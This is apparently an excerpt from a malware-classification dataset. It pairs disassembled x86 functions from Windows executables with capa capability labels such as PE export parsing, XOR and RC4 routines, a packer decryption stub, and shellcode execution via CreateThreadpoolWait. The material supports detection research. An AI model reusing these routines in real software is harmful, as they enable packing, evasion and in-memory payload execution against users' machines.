joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1e80794b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
lea esp, [esp - 0x52]
xchg dword [esp + 0x4e], ebp
mov ebp, dword [esp + 0x4e]
lea esp, [esp + 0x4e]
mov ebp, esp
add dword [esp - 0x18], esi
sub esp, 8
push edi
push esi
push edx
push ecx
push ebx
push ebp
push 0xffffffffffffffff
push 0x1005d1f0
lea esp, [esp - 4]
mov dword [esp], 0x1004d2a9
push 0xffffffffffffffff
call fcn.1e7f8453
mov esi, dword [ebp + 8]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0

Function at 0x1e807a1d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 8
and dword [esp - 0x4e], ebx
cmp dword [edx + 4], 0xe
jae 0x1e8083bf
inc esi
jmp 0x1e807a43
Function at 0x1e807d5f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 8
and al, 3
push 0x30254a91
call 0x1e807d5f
div bh
int 0x82
add esp, 8
and eax, 3
push eax
call fcn.1e807916
ja 0x1e807d73
sub edi, 0
add dword [esp - 0x37], edi
test dword [edx + 0x68], eax
je 0x1e807dff
test dword [edx + 0x70], 0x100
jne 0x1e807db2
mov al, byte [esi + 1]
and dword [esp - 0x35], esi
jmp 0x1e807d9b
shr al, 3
and al, 7
and eax, 7
push eax
call fcn.1e807916
test dword [edx + 0x70], eax
je 0x1e807dff
test dword [edx + 0x6c], 0x100
jne 0x1e807dde
add dword [esp - 0x18], edx
mov al, byte [esi + 1]
and al, 7
and eax, 7
push eax
call fcn.1e807916
and dword [esp - 0x1b], ecx
test dword [edx + 0x6c], eax
je 0x1e807dff
Function at 0x1e807f06
Capabilities:
Resolve function by parsing pe exports

Disassembly:
call 0x1e807f13
and eax, 0xa108abfa
mov byte [edi + 0x8c483b4], 0xc0
call 0xa382f21f
fdiv dword [eax + 6]
Function at 0x1e80d2bb
Capabilities:
Encode data using add xor sub operations

Disassembly:
or bh, byte [ebx - 0x68]
int1
salc
push edi
add esp, 8
add esp, 8
neg edi
or edi, 0xffffffff
push esi
xor esi, esi
jne 0x1ec12ea3
mov esi, esp
and edi, dword [esi + 4]
mov dword [esp - 0x21], esi
mov esi, dword [esi]
push esi
and esi, 0xfe2ab961
mov esi, esp
mov dword [esi - 0x32], edi
pop esi
mov dword [esp - 0x22], ecx
add esp, 8
pop esi
pop edx
pop ebx
leave
ret 0x14
push 0x40ec7b
push esi
mov esi, esp
call 0x1e80d26e
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x11e8fe], 0
add byte [edi - 0x54], bl
jne 0x1e80d281
jnp 0x1e80d211
int1
salc
push edi
inc esp
sub eax, 0x29b0f362
scasb al, byte es:[edi]
dec edi
add esp, 8
sub dword [esi + 0x8c4834f], ebp
and dword [esi + 4], ebp
push ebx
dec ebx
mov ebx, esp
xor dword [ebx - 0x69], eax
pop ebx
jbe 0x1e80d297
xor eax, 0
or dword [esi + 4], ebp
pop esi
mov ebp, esp
sub esp, 0x104
sub esp, 0xd
xor dword [esp + 9], eax
call 0x1e80d2bb
push 0x5b
clc
sal dword [esi], 1
aaa
movsb byte es:[edi], byte [esi]
or eax, 0x910d3c2
call 0x1e80d2cc
push cs
das
cmp al, 0xc5
sbb cl, byte [ebx + 0x28]
inc ecx
out 0x27, al
aam 0x7d
add esp, 8
xor eax, dword [esp + 9]
push ebx
and ebx, 0
jne 0x1ec12f52
or ebx, 0xffffffff
push eax
or eax, edx
mov eax, esp
mov dword [eax - 0x5b], esi
pop eax
xor ecx, 0
not ebx
or ebx, 0x486abb3
jmp 0x1e80d301
or edi, edi
xor ebx, 0x55e6afca
xor ebx, 0x51600479
sub ecx, ebx
pop ebx
xor dword [esp + 9], eax
mov eax, dword [esp + 9]
add esp, 9
push 0xffffffffffffffff
sub ecx, 0
push edx
and edx, ecx
mov edx, esp
cmp dword [edx - 0xe], edi
pop edx
and dword [esp], ebx
sbb al, 0x24
push ecx
push edx
push edi
sub esp, 4
add ebx, 0
or dword [esp - 0x61], esi
xor dword [esp], esi
call 0x1e80d353
cmp eax, 0x39008332
jle 0x1e80d32c
sub al, 0xf5
mov bh, bl
sbb byte [ecx - 0x18], dh
adc al, 0
add byte [eax], al
push esi
xlatb
les ebp, [ebp - 0x56cf8c1e]
iretd
Function at 0x1e80d2cc
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
or bh, byte [ebx - 0x68]
int1
salc
push edi
add esp, 8
add esp, 8
neg edi
or edi, 0xffffffff
push esi
xor esi, esi
jne 0x1ec12ea3
mov esi, esp
and edi, dword [esi + 4]
mov dword [esp - 0x21], esi
mov esi, dword [esi]
push esi
and esi, 0xfe2ab961
mov esi, esp
mov dword [esi - 0x32], edi
pop esi
mov dword [esp - 0x22], ecx
add esp, 8
pop esi
pop edx
pop ebx
leave
ret 0x14
push 0x40ec7b
push esi
mov esi, esp
call 0x1e80d26e
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x11e8fe], 0
add byte [edi - 0x54], bl
jne 0x1e80d281
jnp 0x1e80d211
int1
salc
push edi
inc esp
sub eax, 0x29b0f362
scasb al, byte es:[edi]
dec edi
add esp, 8
sub dword [esi + 0x8c4834f], ebp
and dword [esi + 4], ebp
push ebx
dec ebx
mov ebx, esp
xor dword [ebx - 0x69], eax
pop ebx
jbe 0x1e80d297
xor eax, 0
or dword [esi + 4], ebp
pop esi
mov ebp, esp
sub esp, 0x104
sub esp, 0xd
xor dword [esp + 9], eax
call 0x1e80d2bb
push 0x5b
clc
sal dword [esi], 1
aaa
movsb byte es:[edi], byte [esi]
or eax, 0x910d3c2
call 0x1e80d2cc
push cs
das
cmp al, 0xc5
sbb cl, byte [ebx + 0x28]
inc ecx
out 0x27, al
aam 0x7d
add esp, 8
xor eax, dword [esp + 9]
push ebx
and ebx, 0
jne 0x1ec12f52
or ebx, 0xffffffff
push eax
or eax, edx
mov eax, esp
mov dword [eax - 0x5b], esi
pop eax
xor ecx, 0
not ebx
or ebx, 0x486abb3
jmp 0x1e80d301
or edi, edi
xor ebx, 0x55e6afca
xor ebx, 0x51600479
sub ecx, ebx
pop ebx
xor dword [esp + 9], eax
mov eax, dword [esp + 9]
add esp, 9
push 0xffffffffffffffff
sub ecx, 0
push edx
and edx, ecx
mov edx, esp
cmp dword [edx - 0xe], edi
pop edx
and dword [esp], ebx
sbb al, 0x24
push ecx
push edx
push edi
sub esp, 4
add ebx, 0
or dword [esp - 0x61], esi
xor dword [esp], esi
call 0x1e80d353
cmp eax, 0x39008332
jle 0x1e80d32c
sub al, 0xf5
mov bh, bl
sbb byte [ecx - 0x18], dh
adc al, 0
add byte [eax], al
push esi
xlatb
les ebp, [ebp - 0x56cf8c1e]
iretd
Function at 0x1e8107ad
Capabilities:
Parse pe header

Disassembly:
add esp, 0xfffffffc
mov dword [esp], ebp
mov ebp, esp
push ebx
lea esp, [esp - 0x11]
mov dword [esp + 0xd], 0xdc12c045
lea esp, [esp + 0xd]
mov dword [esp], ecx
push edx
push edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1e8107cf
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1e8107cf
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1e8107cf
mov dword [esp - 0x1d], esi
jb 0x1e810805
sub edx, 0
cmp word [ebx + 4], 0x14c
jne 0x1e8107cf
test word [ebx + 0x16], 2
je 0x1e8107cf
test word [ebx + 0x16], 0x100
je 0x1e8107cf
jmp 0x1e81083b
push ebx
call 0x1e81084c
sbb al, 0x25
cli
stosd dword es:[edi], eax
or byte [ecx - 0x224b783a], ah
push edx
add esp, 8
cmp word [ebx + 0x18], 0x10b
jne 0x1e8107cf
mov edx, dword [ebx + 0x78]
cmp dword [esp - 0x23], ecx
cmp edx, 0
je 0x1e8107cf
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1e7f7c55
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1e8107cf
lea esi, [edx + 0x316f4195]
or esi, 0xffffffff
push ecx
xor ecx, 0x723b9e9b
mov ecx, esp
and esi, dword [ecx + 4]
xor eax, 0
mov ecx, dword [ecx]
push eax
call 0x1e8108bb
add dl, byte [ebx]
push eax
dec ecx
dec esi
outsd dx, dword [esi]
jl 0x1e8108b6
pop edx
mov ebp, dword [eax - 0x7f]
adc al, 0xbd
adc al, 0xbd
mov dl, 3
add esp, 8
add esp, 8
sub edi, edi
jne 0x1e81093a
or edi, 0xffffffff
not edi
or edi, dword [esp]
add esp, 4
not edx
or edx, 0xffffffff
push ebx
sub ebx, ebx
jne 0x1ec16553
mov ebx, esp
mov dword [ebx - 9], edi
pop ebx
not edx
push eax
add eax, esi
mov eax, esp
xor edx, dword [eax + 4]
push edx
lea edx, [esi + edi*2 - 0x55f35438]
mov edx, esp
cmp dword [edx - 0x37], edi
pop edx
or dword [esp - 0x21], ecx
mov eax, dword [eax]
push ebx
and ebx, eax
mov ebx, esp
sub dword [ebx - 0xb], ecx
pop ebx
add esp, 8
pop ecx
xchg dword [esp], ebx
mov dword [esp], ebx
lea esp, [esp + 4]
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
ret 8
invalid
Function at 0x1e81084c
Capabilities:
Parse pe header

Disassembly:
add esp, 0xfffffffc
mov dword [esp], ebp
mov ebp, esp
push ebx
lea esp, [esp - 0x11]
mov dword [esp + 0xd], 0xdc12c045
lea esp, [esp + 0xd]
mov dword [esp], ecx
push edx
push edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1e8107cf
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1e8107cf
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1e8107cf
mov dword [esp - 0x1d], esi
jb 0x1e810805
sub edx, 0
cmp word [ebx + 4], 0x14c
jne 0x1e8107cf
test word [ebx + 0x16], 2
je 0x1e8107cf
test word [ebx + 0x16], 0x100
je 0x1e8107cf
jmp 0x1e81083b
push ebx
call 0x1e81084c
sbb al, 0x25
cli
stosd dword es:[edi], eax
or byte [ecx - 0x224b783a], ah
push edx
add esp, 8
cmp word [ebx + 0x18], 0x10b
jne 0x1e8107cf
mov edx, dword [ebx + 0x78]
cmp dword [esp - 0x23], ecx
cmp edx, 0
je 0x1e8107cf
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1e7f7c55
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1e8107cf
lea esi, [edx + 0x316f4195]
or esi, 0xffffffff
push ecx
xor ecx, 0x723b9e9b
mov ecx, esp
and esi, dword [ecx + 4]
xor eax, 0
mov ecx, dword [ecx]
push eax
call 0x1e8108bb
add dl, byte [ebx]
push eax
dec ecx
dec esi
outsd dx, dword [esi]
jl 0x1e8108b6
pop edx
mov ebp, dword [eax - 0x7f]
adc al, 0xbd
adc al, 0xbd
mov dl, 3
add esp, 8
add esp, 8
sub edi, edi
jne 0x1e81093a
or edi, 0xffffffff
not edi
or edi, dword [esp]
add esp, 4
not edx
or edx, 0xffffffff
push ebx
sub ebx, ebx
jne 0x1ec16553
mov ebx, esp
mov dword [ebx - 9], edi
pop ebx
not edx
push eax
add eax, esi
mov eax, esp
xor edx, dword [eax + 4]
push edx
lea edx, [esi + edi*2 - 0x55f35438]
mov edx, esp
cmp dword [edx - 0x37], edi
pop edx
or dword [esp - 0x21], ecx
mov eax, dword [eax]
push ebx
and ebx, eax
mov ebx, esp
sub dword [ebx - 0xb], ecx
pop ebx
add esp, 8
pop ecx
xchg dword [esp], ebx
mov dword [esp], ebx
lea esp, [esp + 4]
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
ret 8
invalid
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x40a873
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x40a882
pop dword [ebp - 0x2c]
mov eax, 0x40a882
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x3a247
push 0
mov eax, 0xe84777ea
add eax, 0x17f968ee
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x5e4eb1e6
add ecx, 0xa1b199d1
mov esi, eax
mov edx, 0x33d6a3db
add edx, 0xcc6a97e9
add edx, dword [ebp - 0x2c]
mov edi, 0x486e910c
sub edi, 0x588d7de7
xor dword [ebp - 0x10], ecx
mov ebx, dword [edx]
xor dword [ebp - 0x10], ecx
xor ebx, edi
mov dword [esi], ebx
add dword [ebp - 0x24], 0x91a28560
add esi, 0xb078572a
sub esi, 0xb0785726
add edx, 0xba1fbe1c
add edx, 0x45e041e8
loop 0x40a8dc
add eax, 0x2b6d0c23
add eax, 0xd494158c
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x1edd6ae2
nop
nop
nop
nop
test eax, eax
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
mov ecx, 0x7547211a
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x102c8b32
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x102e2f60]
jne 0x102c8b3c
repz ret
jmp fcn.102d4196

Function at 0x102d4ddf
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.102c7cd8
and dword [ebp - 4], 0
cmp dword [0x102e4870], 0
mov ebx, eax
jne 0x102d4e90
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x102d4f41
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x102d4f41
push eax
call fcn.102c7c66
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x102e4870], eax
call esi
push eax
call fcn.102c7c66
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x102e4874], eax
call esi
push eax
call fcn.102c7c66
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x102e4878], eax
call esi
push eax
call fcn.102c7c66
pop ecx
mov dword [0x102e4880], eax
test eax, eax
je 0x102d4e90
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.102c7c66
pop ecx
mov dword [0x102e487c], eax
mov eax, dword [0x102e487c]
cmp eax, ebx
je 0x102d4ee8
cmp dword [0x102e4880], ebx
je 0x102d4ee8
push eax
call fcn.102c7ce1
push dword [0x102e4880]
mov esi, eax
call fcn.102c7ce1
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x102d4ee8
test edi, edi
je 0x102d4ee8
call esi
test eax, eax
je 0x102d4edf
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x102d4edf
test byte [ebp - 0xc], 1
jne 0x102d4ee8
or dword [ebp + 0x10], 0x200000
jmp 0x102d4f21
mov eax, dword [0x102e4874]
cmp eax, ebx
je 0x102d4f21
push eax
call fcn.102c7ce1
pop ecx
test eax, eax
je 0x102d4f21
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x102d4f21
mov eax, dword [0x102e4878]
cmp eax, ebx
je 0x102d4f21
push eax
call fcn.102c7ce1
pop ecx
test eax, eax
je 0x102d4f21
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x102e4870]
call fcn.102c7ce1
pop ecx
test eax, eax
je 0x102d4f41
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x102d4f43
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x102d9910
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, 0x1c5a
lea ecx, [fcn.102d9910]
mov dword [ebp - 4], eax
mov dword [ebp - 8], ecx
jmp 0x102d9929
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
cmp word [eax], 0x5a4d
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], ecx
jne 0x102d995b
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x102d995b
mov eax, dword [ebp - 0x10]
mov dword [0x102e2394], eax
mov eax, dword [ebp - 0xc]
add esp, 0x10
pop ebp
ret
mov eax, dword [ebp - 0x10]
add eax, 0xffffddc4
mov ecx, dword [ebp - 0xc]
add ecx, 0xfffff000
and ecx, 0xfffff000
mov dword [ebp - 4], eax
mov dword [ebp - 8], ecx
jmp 0x102d9929
Function at 0x102d9980
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x102e23a0], 0
mov byte [0x102e23a4], 0
mov dword [0x102e2394], 0x25ab
mov dword [0x102e239c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x102e2394], 0x1b02
mov eax, dword [0x102e239c]
add eax, 1
mov dword [0x102e239c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x102d99c5
jmp 0x102d9a8b
mov eax, 0x100
mov dword [0x102e23a8], 0
mov ecx, dword [0x102e23a0]
mov edx, dword [0x102e239c]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + edx]
add edi, ecx
mov dword [ebp - 0x20], eax
mov eax, edx
xor edx, edx
mov ecx, dword [ebp - 0x10]
div ecx
mov ebx, dword [ebp - 0x14]
movzx edx, byte [ebx + edx]
add edi, edx
mov dword [0x102e23a8], edi
mov eax, edi
cdq
mov edi, dword [ebp - 0x20]
idiv edi
mov dword [0x102e23a0], edx
mov ecx, dword [0x102e239c]
mov bl, byte [esi + ecx]
mov byte [0x102e23a4], bl
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov bl, byte [0x102e23a4]
mov ecx, dword [0x102e23a0]
mov byte [esi + ecx], bl
mov ecx, dword [0x102e239c]
add ecx, 1
mov dword [0x102e239c], ecx
cmp ecx, 0x100
jl 0x102d99fa
jmp 0x102d9aa4
mov dword [0x102e2394], 0x213c
mov dword [0x102e239c], 0
jmp 0x102d99fa
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x102d9f30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x70
mov eax, dword [ebp + 8]
xor ecx, ecx
mov edx, dword [0x102e2394]
add edx, 0xfffff83c
mov dword [0x102e2398], edx
mov dword [0x102e2394], 0x1acf
mov edx, ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
lea edx, section..data
imul esi, eax, 0x24
mov edi, edx
add edi, esi
add edi, 4
imul esi, eax, 0x24
add edx, esi
add edx, 8
add eax, 1
mov edx, dword [edx]
movzx esi, word [edi]
xor esi, edx
add esi, ecx
cmp eax, 0x1e0
mov ecx, esi
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], eax
jne 0x102d9f65
lea eax, [0x102db243]
mov ecx, 0xe
lea edx, [ebp - 0x2c]
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x44], ecx
call fcn.102da250
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call fcn.102da780
mov ecx, eax
mov dword [0x102e23b0], eax
mov eax, esp
mov edx, dword [ebp - 0x3c]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
lea edx, section..data
mov esi, ecx
add esi, 1
imul edi, ecx, 0x24
mov ebx, edx
add ebx, edi
mov edi, dword [ebp - 0x48]
add edi, eax
mov dword [ebp - 0x54], eax
imul eax, ecx, 0x24
mov dword [ebp - 0x58], eax
mov eax, edx
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x58]
add eax, ecx
add eax, 8
mov ecx, dword [ebp - 0x5c]
imul ecx, ecx, 0x24
add edx, ecx
add edx, 4
mov eax, dword [eax]
mov ecx, dword [ebx]
movzx edx, word [edx]
xor edx, eax
mov dword [esp], edi
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x64], esi
call fcn.102da680
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x54]
add eax, ecx
mov edx, dword [ebp - 0x64]
cmp edx, 0x1e0
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], eax
jne 0x102da017
mov dword [0x102e2394], 0x811
mov eax, dword [ebp - 0x48]
add eax, 0xff474
mov ecx, dword [ebp - 0x48]
add ecx, 0xa547e
mov edx, dword [ebp - 0x48]
mov dword [esp], edx
mov dword [esp + 4], edx
mov esi, dword [ebp - 0x3c]
mov dword [esp + 8], esi
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x6c], ecx
call fcn.102d9870
xor eax, eax
mov ecx, dword [0x102e2394]
add ecx, 0x1234
mov dword [0x102e2398], ecx
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x68]
mov dword [ecx], edx
mov dword [ecx + 4], 0x136200
mov dword [0x102e2394], 0x4ed
mov edx, dword [ebp - 0x6c]
mov dword [ecx + 8], edx
mov dword [ecx + 0xc], 0x20a0
add esp, 0x70
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x102da460
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x102e2398]
add eax, 0xfffff55c
mov dword [0x102e2394], eax
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x102e2398], 0x1ffe
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x102da519
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x18], eax
je 0x102da59f
jmp 0x102da50f
mov eax, dword [ebp - 0x1c]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x20], eax
jl 0x102da519
jmp 0x102da52f
mov dword [0x102e2398], 0xe77
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x102da555
jmp 0x102da50f
mov dword [0x102e2394], 0xf8e
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x102da4a5
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x102da59f
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], edx
jne 0x102da4c2
mov eax, dword [ebp - 0x20]
mov ecx, dword [0x102e2398]
add ecx, 0x10f2
mov dword [0x102e2398], ecx
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x14], eax
je 0x102da4db
jmp 0x102da50f
mov dword [0x102e2394], 0xa83
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x102da50f
mov dword [0x102e2394], 0xca
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x102da50f
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x102da4f6
jmp 0x102da50f
mov eax, dword [ebp - 0x18]
add esp, 0x20
pop ebp
ret
Function at 0x102da7b0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x102e239c], 0
mov dword [0x102e23a0], 0
mov dword [0x102e23ac], 0
mov ebx, dword [0x102e2394]
add ebx, 0xfffff25f
mov dword [0x102e2398], ebx
cmp eax, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], edi
je 0x102da8e8
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov edx, eax
add edx, 1
mov esi, dword [0x102e239c]
add esi, 1
mov dword [ebp - 0x24], eax
mov eax, esi
mov dword [ebp - 0x28], edx
cdq
idiv ecx
mov dword [0x102e239c], edx
mov dword [0x102e2394], 0xffffe88b
mov esi, dword [0x102e23a0]
mov edi, dword [ebp - 0x1c]
movzx edx, byte [edi + edx]
add edx, esi
mov eax, edx
cdq
idiv ecx
mov dword [0x102e23a0], edx
mov ecx, dword [0x102e239c]
mov bl, byte [edi + ecx]
mov byte [0x102e23a4], bl
mov bl, byte [edi + edx]
mov byte [edi + ecx], bl
mov bl, byte [0x102e23a4]
mov ecx, dword [0x102e23a0]
mov byte [edi + ecx], bl
mov ecx, dword [0x102e239c]
movzx ecx, byte [edi + ecx]
mov edx, dword [0x102e23a0]
movzx edx, byte [edi + edx]
add edx, ecx
mov dword [0x102e2394], 0x1ae9
and edx, 0xff
mov dword [0x102e23ac], edx
mov bl, byte [edi + edx]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
movzx esi, byte [ecx + edx]
mov dword [esp], esi
movzx esi, bl
mov dword [esp + 4], esi
call fcn.10001000
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x24]
mov byte [ecx + edx], al
mov esi, dword [ebp - 0x28]
mov edi, dword [ebp - 0x10]
cmp esi, edi
mov dword [ebp - 0x20], esi
jne 0x102da811
mov dword [0x102e2394], 0x18d5
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via createthreadpoolwait

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 8]
push eax
push 0x40
push 0x719
push 0x10003058
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0x10003058
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10001068
mov esp, ebp
pop ebp
ret